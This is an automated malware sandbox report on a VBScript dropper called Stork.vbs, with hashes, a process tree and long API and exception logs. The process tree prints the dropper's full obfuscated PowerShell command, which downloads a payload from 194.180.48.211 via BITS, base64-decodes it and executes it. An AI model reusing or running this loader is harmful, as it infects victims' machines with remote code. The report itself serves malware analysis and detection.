Summary | ZeroBOX

Stork.vbs

Generic Malware Antivirus
Category Machine Started Completed
FILE s1_win7_x6403_us March 30, 2023, 4:13 p.m. March 30, 2023, 4:15 p.m.
Size 34.2KB
Type ASCII text, with CRLF line terminators
MD5 8d4e3f96fb554ff1db02b999210126d6
SHA256 ee87e8e9b53378dcea4dd36cdaa9da7e0adaad34e25a2bfcff259b10fc4c7def
CRC32 07A075CE
ssdeep 768:UObCSzMcJLpBxj/gqJ77UiZe3d8EbXK4HkMT91/:J2UM2pBBveQeN5bhR
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Stork.vbs

    1680
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"

      2936

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
194.180.48.211 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502180
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502740
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502740
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502740
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00501ec0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00501ec0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00501ec0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00501ec0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00501ec0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00501ec0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502740
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502740
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502740
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005029c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005029c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005029c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502340
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005029c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005029c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005029c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005029c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005029c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005029c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005029c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502640
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00502640
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x05dd1520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x05dd1520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x05dd1520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x05dd1520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x05dd1520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x05dd1520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x05dd1560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x05dd1560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x05dd1560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x05dd15a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
Time & API Arguments Status Return Repeated

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 4a af 28 aa 68 97 7c fb 36 e8 fa 9d 02 00 89
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8bca
registers.esp: 97969484
registers.edi: 112167545
registers.eax: 99210704
registers.ebp: 97969484
registers.edx: 112164864
registers.ebx: 112164864
registers.esi: 2005865610
registers.ecx: 112167827
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 4a ec c6 5c 8b 4d 18 ba 13 28 d1 41 cc 41 b5
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8bdc
registers.esp: 97969484
registers.edi: 112167545
registers.eax: 1971191808
registers.ebp: 97969484
registers.edx: 922451095
registers.ebx: 4931048
registers.esi: 4931072
registers.ecx: 16
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 41 b5 83 66 da 51 b8 fc c2 11 2b b0 71 e8 22
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8be9
registers.esp: 97969484
registers.edi: 112167545
registers.eax: 1971191808
registers.ebp: 97969484
registers.edx: 1104226323
registers.ebx: 4931048
registers.esi: 4931072
registers.ecx: 4931048
1 0 0

__exception__

stacktrace:
GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x757e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 7f 06 59 42 09 58 ec d1 7a f9 c4 f4 33 6f 32 ad
exception.instruction: jg 0x6af8c2c
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af8c24
registers.esp: 97969476
registers.edi: 97969472
registers.eax: 1971378178
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 256
1 0 0

__exception__

stacktrace:
GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x757e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 49 20 6d 8a e1 35 d7 a0 62 6c 35 1b ee 19 93
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8c46
registers.esp: 97969484
registers.edi: 112167545
registers.eax: 1276867008
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x757e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 12 45 bb 4b dd 4c 9f 7a 00 5a 51 b9 d5 a1 64
exception.instruction: mov dword ptr [edx], edx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6af8c68
registers.esp: 97969480
registers.edi: 112167545
registers.eax: 3009429260
registers.ebp: 97969484
registers.edx: 0
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x757e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 19 49 ac 8f 00 59 35 0c 2f 60 b3 50 8b 85 f1
exception.instruction: mov dword ptr [ecx], ebx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6af8c85
registers.esp: 97969480
registers.edi: 112167545
registers.eax: 3009429260
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 0
1 0 0

__exception__

stacktrace:
GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x757e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 70 03 47 9f 04 55 6b 00 66 81 ff d6 37 58 eb 4c
exception.instruction: jo 0x6af8cbf
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af8cba
registers.esp: 97969472
registers.edi: 112167545
registers.eax: 97969468
registers.ebp: 97969484
registers.edx: 256
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 5d 55 fa f3 4b 57 77 a3 fa d3 84 a3 dd fc ba
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8d2b
registers.esp: 97969480
registers.edi: 112167545
registers.eax: 102105088
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 42 5d 7f 80 2c 7a 13 15 37 e6 8b 0c 81 30 6d
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6b12277
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 102105088
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 33 47 0a 9a 8a f7 00 5b 81 30 17 24 3a 99 c7
exception.instruction: mov dword ptr [ebx], esi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b122a2
registers.esp: 97969472
registers.edi: 112167545
registers.eax: 102105088
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 0
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 5e 90 33 20 a5 e6 f2 70 27 91 8e 21 05 a2 8e
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6b122c5
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 102105088
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 36 59 e7 d0 87 36 0b 27 c7 6d 70 89 1c bd 08
exception.instruction: mov dword ptr [esi], esi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b12302
registers.esp: 97969472
registers.edi: 112167545
registers.eax: 102105088
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 0
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 42 e6 3d 78 a0 fc 64 97 61 64 20 08 40 c7 00
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6b12322
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 102105091
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 12 5c 44 39 02 e1 12 7b f7 fe 32 eb ce df 36
exception.instruction: mov dword ptr [edx], edx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b12354
registers.esp: 97969472
registers.edi: 112167545
registers.eax: 102105092
registers.ebp: 97969484
registers.edx: 0
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 73 02 47 20 e8 f4 7d 00 66 39 d0 5f 84 e4 5e 81
exception.instruction: jae 0x6b1239a
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6b12396
registers.esp: 97969468
registers.edi: 97969464
registers.eax: 102105092
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 256
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 7c 0a 42 07 d2 ba 4e 7f 52 00 a3 1b 00 66 f7 c6
exception.instruction: jl 0x6b123d8
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6b123cc
registers.esp: 97969468
registers.edi: 256
registers.eax: 97969464
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 75 02 58 5c 30 b3 57 9e e1 85 5b 58 10 46 c7 37
exception.instruction: jne 0x6b12413
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6b1240f
registers.esp: 97969468
registers.edi: 112167545
registers.eax: 102105092
registers.ebp: 97969484
registers.edx: 2113485293
registers.ebx: 256
registers.esi: 97969464
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 7d 04 46 c6 1c dd 4a fe 00 39 c3 5a 80 fc fe 58
exception.instruction: jge 0x6b12464
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6b1245e
registers.esp: 97969468
registers.edi: 112167545
registers.eax: 256
registers.ebp: 97969484
registers.edx: 97969464
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 31 49 1a 41 00 59 cc 48 b9 b2 d2 18 ac 81 30
exception.instruction: mov dword ptr [ecx], esi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b1249a
registers.esp: 97969472
registers.edi: 112167545
registers.eax: 102105096
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 0
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 48 b9 b2 d2 18 ac 81 30 58 17 0e 72 81 00 bf
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6b124a1
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 102105096
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 4a e6 55 84 c7 85 fc 01 00 00 fb 7a 83 5d 81
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6b124ba
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 102105096
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 44 9b 4b d8 1c 23 13 2b 26 35 40 ff 8d fc 01
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6b124e7
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 102105096
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 74 06 5d 55 90 d4 af ad b6 8d 5c 0a 4f a2 69 cf
exception.instruction: je 0x6b1253e
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6b12536
registers.esp: 97969468
registers.edi: 112167545
registers.eax: 97969464
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 256
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 47 2f 01 38 d0 2d 2e c3 56 be 7b 22 57 03 81
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6b125a5
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 102105104
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 75 02 47 ce 4d 29 aa 00 85 c1 58 38 e6 59 b8 66
exception.instruction: jne 0x6af8d74
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af8d70
registers.esp: 97969472
registers.edi: 112167545
registers.eax: 97969468
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 256
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 1a 47 c0 c0 7c 46 00 5a 52 ba 84 e3 59 b1 81
exception.instruction: mov dword ptr [edx], ebx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6af8d95
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 2592660070
registers.ebp: 97969484
registers.edx: 0
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 79 02 58 ba 2e 05 1b 2c da 1b 98 b2 d2 f8 0e 9e
exception.instruction: jns 0x6af8dbd
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af8db9
registers.esp: 97969472
registers.edi: 112167545
registers.eax: 2592660070
registers.ebp: 97969484
registers.edx: 256
registers.ebx: 1948084527
registers.esi: 97969468
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 42 f1 c2 65 84 e5 a6 12 0a 01 80 f7 50 8b 85
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8de5
registers.esp: 97969480
registers.edi: 112167545
registers.eax: 1
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 5f 84 11 7b 2d 04 d2 a7 5f b7 75 18 bc 3f a7
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8df9
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 102105104
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
